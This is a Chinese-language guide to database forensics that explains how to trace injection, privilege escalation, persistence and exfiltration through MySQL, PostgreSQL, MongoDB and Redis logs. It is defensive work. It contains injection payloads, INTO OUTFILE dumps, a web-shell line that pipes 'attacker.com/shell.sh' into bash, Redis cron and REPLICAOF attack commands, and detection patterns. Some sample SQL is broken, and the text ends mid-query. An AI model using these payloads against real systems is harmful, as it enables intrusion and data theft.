数据库深度取证分析

0x01 技术基础与数据库取证概述

数据库类型分类与取证挑战

现代企业环境中数据库生态已从单一的关系型数据库扩展为多模态架构。不同类型的数据库在存储机制、日志体系、访问控制方面存在根本性差异,这些差异直接决定了取证方法论的选择。

数据库类型代表产品存储引擎取证核心挑战日志完整度
关系型 (RDBMS)MySQL, PostgreSQL, SQL ServerB+Tree, LSM-TreeWAL/binlog 时序重建、SQL 语义分析
文档型 (Document)MongoDB, CouchDBWiredTiger, MMAPJSON Schema 动态变更追踪、oplog 时间窗口限制
键值型 (Key-Value)Redis, MemcachedHash Table, SkipList无原生审计、AOF/RDB 离线分析
列式存储 (Columnar)Cassandra, HBase, ClickHouseSSTable, LSM-Tree分布式一致性与跨节点日志聚合
时序型 (Time-Series)InfluxDB, TimescaleDB, TDengineTSM, 分块索引高频写入下的异常检测、retention policy 覆盖中-高
图数据库 (Graph)Neo4j, JanusGraph, ArangoDB原生图存储Cypher/Gremlin 注入、关系遍历攻击低-中

关系型数据库在取证领域仍然占据核心地位,原因在于其完善的事务日志体系(ACID 保障)为事件重建提供了可靠的时间锚点。MongoDB 的 oplog.rs 具有固定容量窗口(默认为可用磁盘空间的 5%),超出后旧日志会被覆盖,这给长期取证带来时间盲区。Redis 作为内存数据库,其默认配置甚至不开启 RDB/AOF 持久化,取证数据极度依赖操作系统层面的内存转储。

数据库日志体系全景

数据库取证的核心依赖于日志分析。以下对主流数据库的日志类型进行全景梳理:

日志类型MySQLPostgreSQLMongoDBRedis用途
General Loggeneral_loglog_statement=all记录所有 SQL 语句
慢查询日志slow_query_loglog_min_duration_statement– slowOpThresholdMs性能异常检测
事务日志binlog (Binary Log)WAL (pg_wal/)oplog.rsAOF数据变更追踪
审计日志Audit Pluginpgaudit合规与入侵检测
错误日志error_loglogmongod.loglogfile异常事件记录
连接日志general_logpg_stat_activityCLIENT LIST会话行为分析

MySQL 的 Binary Log 是最重要的取证数据源之一。它以事件(event)为单位记录所有数据变更,支持 Statement、Row 和 Mixed 三种格式。在安全取证场景中,Row 格式的 binlog 能够精确还原每一行数据的修改前后状态,是数据泄露回溯和篡改检测的关键证据。

PostgreSQL 的 WAL (Write-Ahead Logging) 机制保证了数据持久性。WAL 文件存储在 pg_wal/ 目录下,默认大小为 16MB 每个段。通过 pg_waldump 工具可以解析 WAL 文件中的每一条记录,精确重建数据库的变更历史。

数据库取证与传统 DBA 运维的差异

数据库取证与传统 DBA 运维在目标、方法和思维方式上存在本质差异:

对比维度DBA 运维视角取证分析视角
核心目标保障可用性与性能还原攻击时间线与证据链
日志关注点慢查询优化、空间回收异常语句特征提取、时间窗口分析
数据处理正常增删改查识别异常模式、提取攻击载荷
时效性实时监控事后重建(可能面临日志轮转覆盖)
关注对象所有合法操作聚焦异常/恶意操作
输出形式性能报告、容量规划事件时间线、IOC 列表、证据报告

取证分析人员需要具备"攻击者思维"——从攻击者视角审视数据库中的每一个异常痕迹。例如,DBA 可能会将一个 SELECT * FROM users INTO OUTFILE '/tmp/dump.csv' 视为正常的数据导出操作,而取证分析师需要立即识别出这是数据外传的直接证据(MITRE ATT&CK: T1005 Data from Local System)。

数据库取证工具链

数据库取证需要一整套专业工具链来支撑分析工作:

工具名称适用数据库功能描述取证场景
mysqlbinlogMySQL解析 binlog 事件事务级攻击回溯
Percona Toolkit (pt-query-digest)MySQL慢查询分析与分类注入流量识别
pg_waldumpPostgreSQLWAL 日志解析逻辑复制流审计
pgauditPostgreSQL操作审计扩展DML/DDL 变更追踪
mongodump / mongoexportMongoDB数据导出与 oplog 分析变更流审计
redis-rdb-toolsRedisRDB 文件解析持久化数据取证
SQLcl / SQL DeveloperOracle/MySQL/PG取证级查询分析复杂关联查询
Volatility (memlite)所有数据库内存取证中提取数据库缓存无持久化日志场景
mysqlbinlog --base64-output=decode-rows -v binlog.000042 > binlog_decoded.sql
pg_waldump -p /var/lib/postgresql/14/main/pg_wal/ 000000010000000000000001
redis-rdb-tools --command memory dump.rdb --type zset --output csv > rdb_analysis.csv
mongodump --oplog --out /evidence/mongodb_backup/ --oplogLimit "1688534400:1"
pt-query-digest /var/log/mysql/slow.log --limit 20 --output ascii
mysqlbinlog --start-datetime="2026-06-01 00:00:00" --stop-datetime="2026-06-02 00:00:00" binlog.000042

0x02 MySQL 注入痕迹取证

General Log 取证

MySQL General Log 是最详尽的审计日志,记录了客户端发送到服务器的每一条 SQL 语句。在取证场景中,General Log 是提取注入载荷的第一手数据源。

取证要素分析方法示例
注入时间点按时间排序过滤SET timestamp=1688534400;
注入源 IP提取 Thread ID 关联连接CONNECT 记录中的 host 信息
SQL 语句特征正则匹配注入关键词UNION|SELECT|SLEEP|BENCHMARK|LOAD_FILE
数据库用户提取连接认证信息Connect user@host on

启用 General Log 进行取证采集:

SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 100;

General Log 表中的关键字段解析:

字段名类型取证意义
event_timeTIMESTAMP事件精确时间戳
user_hostTEXT连接用户名和来源 IP
thread_idBIGINT连接线程标识,用于关联会话
server_idBIGINTMySQL 实例标识
command_typeVARCHARCONNECT/Query/Execute 等
argumentMEDIUMTEXT完整 SQL 语句

典型的 SQL 注入特征在 General Log 中的表现:

SELECT * FROM users WHERE id=1 AND 1=1
SELECT * FROM users WHERE id=1 AND 1=2
SELECT * FROM users WHERE id=1 UNION SELECT username,password FROM admin--
SELECT * FROM users WHERE id=1 AND SLEEP(5)
SELECT * FROM users WHERE id=1 AND BENCHMARK(10000000,SHA1('test'))
SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM information_schema.tables)>0

使用正则提取注入特征:

grep -iE "(UNION|SLEEP|BENCHMARK|LOAD_FILE|INTO\s+(OUT|DUMP)FILE|INFORMATION_SCHEMA|MYSQL\.USER)" /var/log/mysql/general.log
awk '/CONNECT/{conn=$0} /UNION|SLEEP|BENCHMARK/{print conn"\n"$0"\n---"}' /var/log/mysql/general.log

Slow Query Log 分析

基于时间的盲注(Time-based Blind SQL Injection)是攻击者最常用的注入技术之一。MySQL Slow Query Log 会捕获执行时间超过阈值的查询,这恰好为检测 SLEEP/BENCHMARK 类注入提供了天然的检测窗口。

配置 Slow Query Log 用于取证分析:

SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/log/mysql/slow_queries.log';
SET GLOBAL long_query_time = 0;
SET GLOBAL log_queries_not_using_indexes = 'ON';

基于时间盲注在 Slow Query Log 中的特征:

grep -E "SLEEP\(|BENCHMARK\(|SELECT.*WHERE.*AND.*SLEEP" /var/log/mysql/slow_queries.log
盲注类型Log 特征查询时间模式检测正则
SLEEP(n)执行时间 ≈ n 秒整数秒级跳跃SLEEP\(\d+\)
BENCHMARK(n,…)执行时间与 n 成正比非整数但可重复BENCHMARK\(\d+,
heavy computationCPU 密集型大量子查询SELECT.*COUNT\(\*\).*FROM.*WHERE
conditional delay条件分支延迟交替出现长短查询IF\(.*SLEEP

使用 pt-query-digest 进行慢查询深度分析:

pt-query-digest /var/log/mysql/slow_queries.log --limit 50 --report-format profile --order by Query_time:sum
pt-query-digest /var/log/mysql/slow_queries.log --filter '$event->{fingerprint} =~ /SLEEP|BENCHMARK/' --output report

Binary Log (binlog) 取证

Binary Log 记录了所有修改数据库数据的语句,是 MySQL 取证中最重要的数据源。通过 binlog 可以精确重建攻击者的每一步操作。

binlog 事件结构分析:

事件类型事件名称取证意义
FORMAT_DESCRIPTION_EVENT格式描述MySQL 版本与 binlog 格式
QUERY_EVENT查询语句DDL 操作(CREATE/ALTER/DROP)
TABLE_MAP_EVENT表映射被操作的表结构
WRITE_ROWS_EVENT插入行新增数据(可能含后门账户)
UPDATE_ROWS_EVENT更新行数据篡改痕迹
DELETE_ROWS_EVENT删除行数据破坏或清理痕迹
ROTATE_EVENT日志轮转binlog 文件切换标记

查看 binlog 基本信息:

mysqlbinlog --base64-output=decode-rows -v binlog.000042 | head -50
mysqlbinlog --no-defaults -v binlog.000042 | grep -iE "CREATE|ALTER|DROP|GRANT|INSERT|UPDATE|DELETE" | head -100

通过 binlog 还原数据变更时间线:

mysqlbinlog --start-datetime="2026-06-01 10:00:00" --stop-datetime="2026-06-01 12:00:00" --base64-output=decode-rows -v binlog.000042

使用 binlog2sql 工具进行人性化解读:

python binlog2sql.py --host=127.0.0.1 --port=3306 --user=root --password=xxx --start-file='binlog.000042' --start-datetime='2026-06-01 10:00:00' --stop-datetime='2026-06-01 12:00:00'

提取 binlog 中的可疑 DDL 语句:

mysqlbinlog -v binlog.000042 | awk '/^[0-9]{6}.*Query/{ts=$1; stmt=$0} /CREATE\s+(FUNCTION|PROCEDURE|TRIGGER|EVENT)|GRANT\s+ALL|DROP\s+(USER|TABLE)/{print ts; print stmt; print $0; print "---"}'

General Log 与 binlog 交叉关联分析

交叉关联是数据库取证中最具价值的分析方法。General Log 提供完整的 SQL 语句原文(包括攻击载荷),binlog 提供数据变更的精确内容。将两者关联可以重建完整的攻击链。

关联维度General Log 提供binlog 提供关联方法
注入时间event_timetimestamp时间戳对齐
SQL 语句argument (完整原文)QUERY_EVENT (可能截断)statement 匹配
数据变更不可见(查询结果)WRITE/UPDATE/DELETE_ROWS事务 ID 关联
用户身份user_hostThread ID 关联
mysqlbinlog -v binlog.000042 | awk '/QUERY_EVENT/{print $0}' | grep -i "INSERT\|UPDATE\|DELETE" > binlog_writes.txt
awk '/CONNECT/{user=$4; host=$6} /Query/{print user"@"host": "$0}' /var/log/mysql/general.log > general_with_user.txt

MySQL 审计日志

MySQL Enterprise Audit Plugin 和社区版 server_audit 插件提供更结构化的审计日志:

INSTALL PLUGIN server_audit SONAME 'server_audit.so';
SET GLOBAL server_audit_logging = 'ON';
SET GLOBAL server_audit_events = 'CONNECT,QUERY_DDL,QUERY_DML,QUERY_DCL';
SET GLOBAL server_audit_file_path = '/var/log/mysql/audit.log';
审计事件类型记录内容安全价值
CONNECT连接建立/断开会话追踪、异常 IP 检测
QUERY_DDLDDL 语句后门创建检测
QUERY_DMLDML 语句数据篡改/泄露检测
QUERY_DCLDCL 语句(GRANT/CREATE USER)权限提升检测
grep -E "CONNECT.*FAILED|QUERY_DCL.*GRANT|QUERY_DDL.*TRIGGER|QUERY_DDL.*EVENT" /var/log/mysql/audit.log

0x03 PostgreSQL 取证分析

pg_stat_statements 取证

PostgreSQL 的 pg_stat_statements 扩展是性能监控和安全取证的重要工具。它以 SQL 模板形式统计查询执行信息,能够快速定位异常查询行为。

启用 pg_stat_statements

CREATE EXTENSION pg_stat_statements;
SELECT pg_stat_statements_reset();
echo "shared_preload_libraries = 'pg_stat_statements'" >> /etc/postgresql/14/main/postgresql.conf
echo "pg_stat_statements.track = all" >> /etc/postgresql/14/main/postgresql.conf
systemctl restart postgresql

pg_stat_statements 视图关键字段:

字段名类型取证意义
useridOID执行查询的用户
dbidOID目标数据库
queryidBIGINT查询哈希标识
queryTEXTSQL 模板(参数已参数化)
callsBIGINT执行次数(异常高频=可疑)
total_exec_timeDOUBLE总执行时间(盲注检测)
rowsBIGINT返回行数(数据量估算)

检测异常查询行为:

SELECT userid, dbid, LEFT(query, 120) AS query_preview, calls, round(total_exec_time::numeric, 2) AS total_time_ms, rows
FROM pg_stat_statements
WHERE query ILIKE '%UNION%SELECT%'
   OR query ILIKE '%SLEEP(%'
   OR query ILIKE '%pg_sleep(%'
   OR query ILIKE '%BENCHMARK(%'
   OR query ILIKE '%LOAD_FILE(%'
   OR query ILIKE '%COPY%FROM%'
ORDER BY calls DESC
LIMIT 50;
SELECT query, calls, rows, total_exec_time
FROM pg_stat_statements
WHERE calls > 10000
   AND rows > 0
ORDER BY total_exec_time DESC
LIMIT 20;

使用 pg_stat_statements 追踪高频数据导出:

SELECT query, calls, rows, round(rows::numeric / greatest(calls, 1), 0) AS avg_rows_per_call
FROM pg_stat_statements
WHERE query ILIKE '%SELECT%FROM%'
  AND rows > 1000
ORDER BY rows DESC
LIMIT 30;

WAL (Write-Ahead Log) 分析

PostgreSQL WAL 日志记录了所有数据库状态变更,是事件重建的核心数据源。WAL 文件位于 pg_wal/ 目录,默认段大小为 16MB。

WAL 记录类型代码标识取证意义
XLOG_DBASE_CREATEXLOG_DBASE_CREATE_DB新数据库创建
XLOG_DBASE_DROPXLOG_DBASE_DROP_DB数据库删除
XLOG_SMGR_CREATEXLOG_SMGR_CREATE新文件创建(表空间)
XLOG_SMGR_TRUNCATEXLOG_SMGR_TRUNCATE文件截断(数据清空)
INSERTheap insert数据插入
UPDATEheap update数据更新
DELETEheap delete数据删除
HOT_UPDATEheap hot update热更新
COMMAND_IDcommandId命令顺序追踪

使用 pg_waldump 解析 WAL 文件:

pg_waldump /var/lib/postgresql/14/main/pg_wal/000000010000000000000001 > wal_decoded.txt
pg_waldump --stats /var/lib/postgresql/14/main/pg_wal/000000010000000000000001

筛选可疑操作:

pg_waldump /var/lib/postgresql/14/main/pg_wal/000000010000000000000001 | grep -E "CREATE|DROP|TRUNCATE|GRANT|REVOKE" | head -50
pg_waldump -p /var/lib/postgresql/14/main/pg_wal/ 000000010000000000000001 | awk '/heap_insert|heap_update|heap_delete/{print}' | head -100

查看 WAL 配置:

SHOW wal_level;
SHOW max_wal_senders;
SHOW archive_mode;
SHOW archive_command;
WAL 级别包含信息取证能力
minimal仅基础写入低(无 DDL 记录)
replica包含 DDL/DML高(支持流复制审计)
logical包含逻辑变更最高(支持逻辑解码)

pgaudit 扩展审计

pgaudit 是 PostgreSQL 最强大的审计扩展,支持细粒度的 DML/DDL/DCL 审计:

CREATE EXTENSION pgaudit;
echo "shared_preload_libraries = 'pgaudit'" >> /etc/postgresql/14/main/postgresql.conf
echo "pgaudit.log = 'ddl, role, write'" >> /etc/postgresql/14/main/postgresql.conf
echo "pgaudit.log_catalog = on" >> /etc/postgresql/14/main/postgresql.conf
systemctl restart postgresql

pgaudit.log 参数详解:

参数值审计范围典型使用场景
readSELECT, COPY FROM数据泄露检测
writeINSERT, UPDATE, DELETE, TRUNCATE, COPY TO数据篡改检测
function函数调用存储过程滥用检测
roleGRANT, REVOKE, CREATE/ALTER/DROP ROLE权限提升检测
ddlCREATE, ALTER, DROP(所有对象)后门对象检测
miscDISCARD, FETCH, CHECKPOINT异常操作检测
all所有操作全量审计
ALTER USER attacker_user SET pgaudit.log = 'all';
SELECT * FROM pg_catalog.pg_audit_log ORDER BY event_time DESC LIMIT 100;

pg_hba.conf 配置审计与异常连接检测

pg_hba.conf 是 PostgreSQL 的客户端认证配置文件,控制哪些客户端可以连接、使用什么认证方式。攻击者入侵后可能会修改此文件以维持访问权限。

cat /etc/postgresql/14/main/pg_hba.conf | grep -v '^#' | grep -v '^$'
认证类型安全等级取证关注点
trust极低(无需密码)后门配置
password低(明文传输)中间人风险
md5弱口令风险
scram-sha-256当前推荐
cert最高双向认证
pam/ldap取决于后端后端配置被篡改风险
diff <(cat /etc/postgresql/14/main/pg_hba.conf.bak) <(cat /etc/postgresql/14/main/pg_hba.conf) | grep -E "^[<>]"
grep -n "trust\|0.0.0.0/0\|::/0" /etc/postgresql/14/main/pg_hba.conf
SELECT client_addr, usename, state, query_start, query
FROM pg_stat_activity
WHERE state != 'idle'
ORDER BY query_start DESC;

PostgreSQL 日志与操作系统日志交叉分析

将 PostgreSQL 日志与 OS 级日志(auth.log、syslog)进行时间轴对齐是发现攻击链的重要手段:

grep "postgresql" /var/log/auth.log | grep -i "connection\|authentication" | tail -50
journalctl -u postgresql --since "2026-06-01 00:00:00" --until "2026-06-02 00:00:00" | grep -iE "connection|authentication|error|fatal"
cat /var/log/postgresql/postgresql-14-main.log | awk '/LOG.*connection authorized/{print}' | tail -50

关联分析脚本:

paste <(grep "LOG.*connection" /var/log/postgresql/postgresql-14-main.log | awk '{print $1, $2}') <(grep "postgresql" /var/log/auth.log | awk '{print $1, $2, $3, $9}') | head -30

0x04 NoSQL 数据库取证

MongoDB 注入检测

MongoDB 虽然不使用传统 SQL,但其查询操作符(如 $where$gt$ne)在构造不当的应用层存在被滥用的风险。MongoDB 注入通常通过操纵 JSON 查询对象实现。

常见 MongoDB 注入操作符滥用:

操作符正常用途注入滥用场景取证特征
$whereJavaScript 表达式任意 JS 代码执行日志中出现 function(){}
$gt大于比较绕过认证(password > “")查询条件异常
$ne不等于比较绕过精确匹配密码字段使用 $ne
$regex正则匹配逐字符暴力破解频繁正则查询
$exists字段存在性字段枚举大量 $exists 查询
$in范围匹配批量数据探测IN 列表异常大

MongoDB 查询日志分析(启用 profiling):

db.setProfilingLevel(2, { slowms: 100 })
db.system.profile.find({ "op": "query", "ns": "app.users" }).sort({ ts: -1 }).limit(20)
db.system.profile.find({ "command.filter.$where": { $exists: true } }).sort({ ts: -1 })
db.system.profile.find({ "command.filter.password": { $ne: "" } }).sort({ ts: -1 })

分析 $where 注入痕迹:

db.system.profile.find({ "command.filter.$where": /function\s*\(\)/ }).forEach(function(doc) {
    printjson({
        timestamp: doc.ts,
        operation: doc.op,
        namespace: doc.ns,
        query: doc.command.filter,
        millis: doc.millis,
        user: doc.user
    });
});

MongoDB 日志分析

MongoDB 的日志系统提供了丰富的取证信息,特别是 mongod.logoplog.rs

mongod.log 关键日志模式:

日志关键词含义取证意义
“Authentication succeeded”认证成功正常登录
“Authentication failed”认证失败暴力破解尝试
“Client connected”客户端连接来源 IP 追踪
“Client disconnected”客户端断开会话持续时间
“command”执行的命令操作审计
“Slow query”慢查询盲注/大查询检测
grep -iE "authentication failed|command.*\$where|slow query|unauthorized" /var/log/mongodb/mongod.log | tail -50

oplog.rs 变更流审计:

use local
db.oplog.rs.find({ "op": "i", "ns": "admin.system.users" }).sort({ ts: -1 })
db.oplog.rs.find({ "op": "i", "ns": { $regex: /^app\./ } }).sort({ ts: -1 })
db.oplog.rs.find({
    "ts": { $gt: Timestamp(1688534400, 1) },
    $or: [
        { "op": "i", "ns": /system\.users/ },
        { "o createUser": { $exists: true } },
        { "o.grantRole": { $exists: true } }
    ]
}).sort({ ts: -1 }).limit(100)
oplog 操作码含义安全关注度
“i” (insert)插入文档高(新用户/新数据)
“u” (update)更新文档高(权限/密码修改)
“d” (delete)删除文档中(数据破坏)
“c” (command)数据库命令高(DDL 操作)
“n” (noop)空操作

Redis 未授权访问取证

Redis 默认配置无需密码认证,暴露在网络中的 Redis 实例是攻击者的高价值目标(MITRE ATT&CK: T1190 Exploit Public-Facing Application)。

Redis 攻击痕迹检测要点:

攻击手法Redis 命令取证检测方法
写入 WebShellSET payload "<%...%>"RDB/AOF 中的异常键值
写入 SSH 公钥SET ssh_key "ssh-rsa ..."键名包含 ssh/authorized
写入 CrontabSET cron "\n*/1 * * * * ..."键名包含 cron/schedule
反弹 ShellCONFIG SET dir /var/spool/cronAOF 中的 CONFIG SET 记录
主从复制攻击REPLICAOF attacker_ip port异常的 replication 配置
模块加载MODULE LOAD /tmp/evil.so模块加载日志
redis-cli --no-auth-warning -h 127.0.0.1 -a '' INFO keyspace
redis-cli --no-auth-warning -h 127.0.0.1 -a '' KEYS '*' | head -100
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET dir
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET dbfilename
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET requirepass
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET bind
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET protected-mode
redis-cli -h 127.0.0.1 -a '' INFO replication

Redis AOF/RDB 文件分析

Redis 的 AOF(Append Only File)和 RDB(Redis Database)文件是离线取证的重要数据源:

redis-rdb-tools dump.rdb --type string --output csv | grep -iE "ssh|cron|shell|webshell|key"
strings dump.rdb | grep -iE "ssh-rsa|authorized_keys|/bin/sh|/bin/bash|curl|wget|python|perl"
cat appendonly.aof | grep -E "SET|CONFIG SET|MODULE LOAD|REPLICAOF" | head -100
redis-rdb-tools dump.rdb --type string --keys ".*" --output csv > all_keys.csv
awk '/SET/{key=$2; val=substr($0, index($0,$3)); if(length(val)>100) print key": "substr(val,1,200)"..."}' appendonly.aof | head -30

CouchDB/Elasticsearch 攻击痕迹

CouchDB 和 Elasticsearch 作为 RESTful 数据库,其攻击面主要在 HTTP API 层:

curl -s http://127.0.0.1:5984/_all_dbs | python3 -m json.tool
curl -s http://127.0.0.1:5984/_users/_all_docs?include_docs=true | python3 -m json.tool
curl -s http://127.0.0.1:9200/_cat/indices?v
curl -s http://127.0.0.1:9200/_nodes/hot_threads | head -30

CouchDB 特有攻击面——配置修改 API:

curl -X PUT http://127.0.0.1:5984/_users -d '{"_id":"_design/users","views":{"all":{"map":"function(doc){emit(doc._id,doc)}"}}}'
数据库默认端口常见攻击向量取证关键
CouchDB5984REST API 未授权、设计文档注入_users 库变更
Elasticsearch9200索引未授权访问、Groovy 脚本注入_search 查询日志
CouchDB5984CVE-2017-12635 JSON 解析绕过用户文档异常修改

Cassandra/Neo4j 攻击特征

cqlsh -e "SELECT * FROM system_auth.role_permissions WHERE role='attacker_role';"
cypher-shell -u neo4j -p password "MATCH (n:User) WHERE n.admin=true RETURN n"
cqlsh -e "DESCRIBE KEYSPACES;"
cqlsh -e "SELECT role, can_login, is_superuser FROM system_auth.roles;"

CQL 注入与 Cypher 注入特征对比:

特征CQL 注入Cypher 注入
查询语言类 SQL图模式匹配
经典注入点WHERE 子句MATCH 子句
特殊函数token(), timeuuid()labels(), keys()
危险操作TRUNCATE, DROPDETACH DELETE, CREATE
数据提取SELECT + LIMITMATCH + RETURN

0x05 数据库持久化与提权取证

MySQL UDF 提权取证

User Defined Function (UDF) 提权是攻击者获取操作系统级别执行权限的最常用技术之一(MITRE ATT&CK: T1505.003 Web Shell)。攻击者通过将编译好的 .so(Linux)或 .dll(Windows)文件放置到 MySQL 的插件目录,然后创建自定义函数实现命令执行。

UDF 提权的取证检测清单:

检测项检测命令预期结果
异常 .so 文件ls -la /usr/lib/mysql/plugin/仅应有官方插件
mysql.func 表SELECT * FROM mysql.func;正常应为空
异常 CREATE FUNCTIONbinlog 中搜索不应有非标准函数创建
/tmp 目录可疑文件ls -la /tmp/*.so不应有 .so 文件
MySQL 进程文件操作lsof -p $(pgrep mysql)不应访问 /tmp
SELECT * FROM mysql.func;
SELECT name, type, ret, dl, sql_data_access FROM mysql.func;
find /usr/lib/mysql/ /usr/lib64/mysql/ /usr/local/lib/mysql/ -name "*.so" -newer /usr/sbin/mysqld -ls
ls -la /var/lib/mysql/lib/plugin/ 2>/dev/null || ls -la /usr/lib/mysql/plugin/ 2>/dev/null
strings /usr/lib/mysql/plugin/udf_evil.so | grep -iE "system|exec|cmd|bash|shell"

在 binlog 中检测 UDF 创建痕迹:

mysqlbinlog -v binlog.000042 | grep -iE "CREATE\s+FUNCTION|CREATE\s+AGGREGATE\s+FUNCTION"
mysqlbinlog --base64-output=decode-rows -v binlog.000042 | grep -iE "mysql\.func|plugin"

存储过程滥用

攻击者可能通过创建恶意存储过程来实现持久化和提权:

数据库危险特性攻击向量取证检测
MySQLCREATE FUNCTION (soname)UDF 提权mysql.func 表
PostgreSQLCREATE FUNCTION (C)C 语言函数提权pg_proc 异常条目
SQL Serverxp_cmdshell命令执行sys.configurations
OracleDBMS_SCHEDULER定时任务提权DBA_SCHEDULER_JOBS
MySQLEvent Scheduler定时后门mysql.event 表
SELECT db, name, type, definer, created, security_type FROM mysql.proc WHERE type = 'PROCEDURE' AND security_type = 'DEFINER';
SELECT routine_name, routine_type, routine_body, external_language, created
FROM information_schema.routines
WHERE external_language = 'C' OR routine_definition LIKE '%soname%';
SELECT event_schema, event_name, status, event_type, execute_at, interval_value, interval_field
FROM information_schema.events
WHERE event_definition LIKE '%SLEEP%' OR event_definition LIKE '%INTO OUTFILE%';
SELECT proname, proowner::regrole, prolang::regtype, prosrc
FROM pg_proc
WHERE prolang = (SELECT oid FROM pg_language WHERE lanname = 'c');

PostgreSQL 大对象利用与数据隐写

PostgreSQL 的 Large Object 功能允许存储最大 4GB 的二进制对象,攻击者可能利用此功能隐藏恶意数据或实现隐蔽通信:

SELECT loid, lomode, lonowner, lodesc, lo creation::text
FROM pg_catalog.pg_largeobject_metadata
WHERE lonowner NOT IN (SELECT oid FROM pg_roles WHERE rolname IN ('postgres', 'replication'));
SELECTloid, pageno, pg_catalog.lo_get(loid, pageno * 131072 + 1, 100) AS chunk_preview
FROM pg_largeobject
WHERE pageno < 5
LIMIT 20;
SELECT e.event_type, e.object_type, e.object_identity, e.command_tag, e.session_user_name, e.event_time
FROM pg_catalog.pg_stat_activity a
JOIN pg_catalog.pg_backend_memory_contexts m ON a.pid = m.pid
WHERE e.object_type = 'large object';

数据库账户持久化

攻击者在获取数据库访问权限后,会创建隐藏账户或植入触发器后门以维持持久化访问:

SELECT user, host, password, authentication_string, account_locked, password_expired FROM mysql.user;
SELECT trigger_schema, trigger_name, event_object_table, action_timing, event_manipulation, action_statement
FROM information_schema.triggers
WHERE action_statement LIKE '%SLEEP%' OR action_statement LIKE '%INTO OUTFILE%'
   OR action_statement LIKE '%LOAD_FILE%' OR action_statement LIKE '%BENCHMARK%'
   OR action_statement LIKE '%EXECUTE%IMMEDIATE%';
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges
WHERE grantee NOT IN (SELECT DISTINCT grantee FROM information_schema.table_privileges);
SELECT usename, usesuper, usecreatedb, usecatupdate, valuntil, passwd
FROM pg_shadow
WHERE usesuper = true;
mysqlbinlog -v binlog.000042 | grep -iE "CREATE\s+USER|GRANT\s+ALL|SET\s+PASSWORD|CREATE\s+TRIGGER"

权限提升路径分析

SELECT user, host, super_priv, file_priv, process_priv, grant_priv FROM mysql.user WHERE super_priv='Y' OR file_priv='Y' OR grant_priv='Y';
SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolreplication, ARRAY_AGG(m.rolname) AS member_of
FROM pg_roles r
LEFT JOIN pg_auth_members am ON r.oid = am.roleid
LEFT JOIN pg_roles m ON am.member = m.oid
WHERE r.rolsuper = true OR r.rolcreaterole = true
GROUP BY r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolreplication;
SELECT user, host, Super_priv, File_priv, Process_priv, Grant_priv, Create_user_priv FROM mysql.user WHERE Super_priv='Y' OR File_priv='Y' OR Grant_priv='Y' OR Create_user_priv='Y';
mysqlbinlog -v binlog.000042 | awk '/GRANT.*ON.*\*\.\*/{print}'

权限提升检查汇总表:

检查项MySQLPostgreSQL风险等级
SUPER 权限super_priv = ‘Y’superuser = true🔴 极高
FILE 权限file_priv = ‘Y’pg_read_server_files🔴 极高
GRANT 权限grant_priv = ‘Y’createrole = true🔴 高
ALL PRIVILEGESGRANT ALL ON .超级用户🔴 极高
DEFINER 存储过程security_type=DEFINERsearch_path 篡改🟡 高
EVENT 权限event_priv = ‘Y’pg_cron 扩展🟡 中

0x06 数据泄露与外传取证

数据脱库痕迹检测

数据脱库(Data Exfiltration from Database)是数据库安全事件中最常见的攻击目标(MITRE ATT&CK: T1005 Data from Local System, T1039 Data from Network Shared Drive)。

脱库方式使用工具/命令取证检测点检测难度
SELECT INTO OUTFILEMySQL 原生binlog + 文件系统
mysqldumpmysqldump 工具进程记录 + 网络连接
pg_dumppg_dump 工具进程记录 + 网络连接
LOAD_FILE + HTTPUDF 或 WebShell外联流量
慢查询逐行导出应用层代码Slow Query Log
数据库复制REPLICATION异常复制配置
SELECT * FROM users INTO OUTFILE '/tmp/users_dump.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n';
SELECT * FROM users INTO DUMPFILE '/tmp/users_raw.bin';
find /tmp /var/tmp /dev/shm /var/log -name "*.csv" -o -name "*.sql" -o -name "*.dump" -o -name "*.bak" -o -name "*.bin" -newer /etc/hostname 2>/dev/null
mysqlbinlog -v binlog.000042 | grep -iE "INTO\s+(OUT|DUMP)FILE"
ps aux | grep -E "mysqldump|pg_dump|mongoexport|redis-dump" | grep -v grep
lsof -p $(pgrep -f mysqldump) 2>/dev/null | grep -E "cwd|txt|REG" | head -20

外联检测

数据库层面的数据外联通常通过以下方式实现:

SELECT LOAD_FILE('/etc/passwd');
SELECT * FROM users INTO OUTFILE '/var/www/html/dump.csv';
SELECT '<!--#exec cmd="curl http://attacker.com/shell.sh | bash"-->' INTO OUTFILE '/var/www/html/shell.shtml';

检测 MySQL 外联的命令:

grep -rE "LOAD_FILE|INTO\s+(OUT|DUMP)FILE|SELECT.*INTO" /var/log/mysql/ | head -20
tcpdump -i any -A 'port 80 or port 443' | grep -iE "SELECT|INSERT|UPDATE|DELETE|dump|export" | head -50
外联方式传输通道检测手段隐蔽等级
INTO OUTFILE 写 Web 目录HTTP文件系统监控
UDF + curl/wgetHTTPS出站流量分析
LOAD_FILE + HTTPHTTP/HTTPS请求内容检测
逻辑复制到外部PostgreSQL Replication复制连接审计
慢查询推断HTTP(应用层)查询模式分析极高

数据水印追踪

数据水印技术用于在数据库记录中嵌入不可见的标记,帮助追踪数据泄露的来源。

水印类型嵌入方式检测方法适用场景
隐式水印(时间戳偏移)记录时间戳纳秒级微调统计分析时间分布时序数据
显式水印(附加字段)在数据行中插入标识字段SQL 查询扫描结构化数据
数字指纹(值域编码)特定字段值的微小扰动差异检测数值型数据
查询水印特定查询结果中注入伪造记录响应内容审查API 数据
SELECT COUNT(*) AS total, COUNT(DISTINCT secret_watermark_field) AS watermarks FROM sensitive_data;
SELECT user_id, email, created_at,
       CAST(created_at AS DECIMAL(18,15)) - CAST(FROM_UNIXTIME(FLOOR(UNIX_TIMESTAMP(created_at))) AS DECIMAL(18,15)) AS ts_micro
